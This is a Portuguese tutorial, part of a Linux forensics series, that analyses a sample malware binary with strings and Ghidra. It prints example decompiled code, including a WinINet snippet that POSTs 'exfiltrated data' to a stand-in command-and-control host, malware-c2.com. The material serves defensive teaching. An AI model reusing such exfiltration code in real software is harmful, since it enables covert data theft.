Forense Digital no Linux – Técnicas práticas – parte 3

A análise de um binário malicioso, como o malware.9999.exe, é uma etapa crucial para entender seu comportamento e funcionalidades. Duas ferramentas essenciais para essa análise são o strings e o Ghidra. Abaixo, vamos explorar exemplos práticos de como utilizar essas ferramentas para analisar o binário.

 

1. Análise com strings

O comando strings extrai sequências de caracteres legíveis de um binário, o que pode revelar informações úteis, como URLs, comandos, mensagens de erro ou outras strings embutidas no código.

 

1.1 Executando o strings no Binário

Comando:

strings output/malware.9999.exe

Saída no Shell:

http://malware-c2.com/update
http://malware-c2.com/data
GetProcAddress
LoadLibraryA
CreateFileA
WriteFile
ReadFile
ExitProcess
USER32.dll
KERNEL32.dll
"Senha: %s"
"Erro ao conectar ao servidor"
"Executando payload..."

Análise:

  • URLs: http://malware-c2.com/update e http://malware-c2.com/data podem indicar servidores de comando e controle (C2).

  • Funções da API do Windows: GetProcAddress, LoadLibraryA, CreateFileA, etc., sugerem que o malware interage com o sistema operacional.

  • Mensagens embutidas: Strings como "Senha: %s" e "Erro ao conectar ao servidor" podem indicar funcionalidades específicas do malware.

 

1.2 Filtrando Strings Relevantes

Você pode usar o comando grep para filtrar strings específicas, como URLs ou palavras-chave.

Comando:

strings output/malware.9999.exe | grep "http://"

Saída no Shell:

http://malware-c2.com/update
http://malware-c2.com/data

Análise:

  • As URLs filtradas confirmam a comunicação do malware com servidores C2.

 

2. Análise com Ghidra

O Ghidra é uma ferramenta de engenharia reversa desenvolvida pela NSA. Ele permite descompilar binários e analisar seu código-fonte, mesmo que esteja em linguagem de máquina.

 

2.1 Importando o Binário no Ghidra

  • Inicie o Ghidra:

    ghidraRun
  • Crie um novo projeto:

    • Vá em File > New Project.

    • Escolha Non-Shared Project e nomeie o projeto (por exemplo, Malware_Analysis).

  • Importe o binário:

    • Vá em File > Import File.

    • Selecione o arquivo malware.9999.exe.

  • Analise o binário:

    • Clique em OK para iniciar a análise automática.

    • O Ghidra irá descompilar o binário e exibir o código-fonte aproximado.

 

2.2 Analisando o Código Descompilado

2.2.1 Identificando Funções Principais

  • No painel Symbol Tree, expanda a seção Functions.

  • Procure por funções suspeitas, como main, WinMain, ou funções com nomes relacionados a comunicação de rede (send, recv).

Exemplo de função descompilada:

void FUN_00401000(void) {
  HANDLE hFile;
  char buffer[256];
  DWORD bytesWritten;

  hFile = CreateFileA("C:\\malware_output.txt", GENERIC_WRITE, 0, NULL, 
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { strcpy(buffer, "Dados exfiltrados pelo malware"); WriteFile(hFile, buffer, strlen(buffer), &bytesWritten, NULL); CloseHandle(hFile); } return; }

Análise:

  • A função FUN_00401000 cria um arquivo chamado malware_output.txt e escreve dados nele.

  • Isso sugere que o malware pode estar exfiltrando informações para o sistema de arquivos.

 

2.2.2 Identificando Chamadas de API

  • No painel Decompile, procure por chamadas de API suspeitas, como CreateFileA, WriteFile, InternetOpenA, InternetReadFile, etc.

 

Exemplo de Chamada de API:

HINTERNET hInternet = InternetOpenA("User-Agent", 
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (hInternet != NULL) { HINTERNET hConnect = InternetConnectA(hInternet, "malware-c2.com",
INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (hConnect != NULL) { HINTERNET hRequest = HttpOpenRequestA(hConnect, "POST", "/data",
NULL, NULL, NULL, 0, 0); if (hRequest != NULL) { HttpSendRequestA(hRequest, NULL, 0, "Dados exfiltrados", strlen("Dados exfiltrados")); } } }

Análise:

  • O código faz uma requisição HTTP POST para malware-c2.com/data.

  • Isso confirma que o malware está se comunicando com um servidor C2 para exfiltrar dados.


2.3 Identificando Strings no Ghidra

  • No painel Defined Strings, procure por strings relevantes, como URLs, mensagens de erro ou comandos.

 

Exemplo de Strings Encontradas:

http://malware-c2.com/update
http://malware-c2.com/data
"Senha: %s"
"Erro ao conectar ao servidor"

Análise:

  • As URLs confirmam a comunicação com servidores C2.

  • As mensagens sugerem funcionalidades específicas, como coleta de senhas.

 

3. Documentando as descobertas

Após a análise, documente todas as descobertas, incluindo:

  • Strings relevantes: URLs, comandos, mensagens.

  • Funções suspeitas: Código relacionado à exfiltração de dados, comunicação de rede, etc.

  • Chamadas de API: Funções do Windows API usadas pelo malware.

 

Conclusão

A análise de um binário malicioso com strings e Ghidra revela informações valiosas sobre seu comportamento e funcionalidades. Enquanto o strings fornece uma visão rápida das strings embutidas, o Ghidra permite uma análise profunda do código-fonte, incluindo chamadas de API e lógica do programa.

Combinando essas ferramentas, você pode entender como o malware opera, identificar seus objetivos e tomar medidas para mitigar seus efeitos. Para análises mais avançadas, considere explorar outras ferramentas de engenharia reversa, como IDA Pro ou Radare2.

 

Aqui estão algumas referências bibliográficas e recursos úteis sobre Ghidra e o comando strings apresentados, que são ferramentas importantes para análise de binários e engenharia reversa:

 

1. Ghidra

Ghidra é uma ferramenta de engenharia reversa desenvolvida pela NSA (National Security Agency) e disponibilizada como software de código aberto. Ele é usado para analisar binários, descompilar código e entender o funcionamento de programas.

Referências:

  • Site Oficial:
    https://ghidra-sre.org/

    • Aqui você encontra o download da ferramenta, documentação oficial e tutoriais.

  • Documentação Oficial:
    A documentação do Ghidra está incluída na instalação da ferramenta e também está disponível online. Ela cobre desde a instalação até o uso avançado de funcionalidades.

  • Livros:

    • “Ghidra Software Reverse Engineering for Beginners” por A. P. David
      Este livro é uma introdução prática ao Ghidra, ideal para quem está começando com engenharia reversa.

    • “The Ghidra Book: The Definitive Guide” por Chris Eagle e Kara Nance
      Um guia abrangente e detalhado sobre o Ghidra, escrito por especialistas em engenharia reversa.

 

2. Strings

O comando strings é uma ferramenta simples, mas poderosa, usada para extrair sequências de caracteres legíveis de arquivos binários. Ele é frequentemente usado em análises preliminares de binários para identificar informações como textos, URLs, mensagens de erro, etc.

Referências:

  • Man Page do Strings (Linux):
    No terminal Linux, você pode acessar o manual do comando strings digitando:

     
    man strings

    Isso fornece uma descrição detalhada das opções e funcionalidades do comando.

  • Livros:

    • “Hacking: The Art of Exploitation” por Jon Erickson
      Este livro cobre técnicas básicas e avançadas de hacking, incluindo o uso de ferramentas como strings para análise de binários.

    • “Practical Reverse Engineering” por Bruce Dang, Alexandre Gazet, Elias Bachaalany
      Um livro focado em engenharia reversa, que discute o uso de ferramentas como strings em cenários práticos.

  • Tutoriais Online:

3. Integração de Ghidra e Strings

Em análises de binários, é comum usar o strings como uma ferramenta inicial para identificar informações relevantes e depois aprofundar a análise com o Ghidra. Por exemplo:

  • Use strings para extrair textos e identificar possíveis funções ou mensagens.

  • Importe o binário no Ghidra para descompilar o código e entender a lógica do programa.

4. Ferramentas Relacionadas

  • Radare2: Outra ferramenta de engenharia reversa que pode ser usada em conjunto com Ghidra.

  • IDA Pro: Uma alternativa paga ao Ghidra, amplamente usada em engenharia reversa.

  • Binwalk: Ferramenta para análise de firmware e extração de arquivos de binários.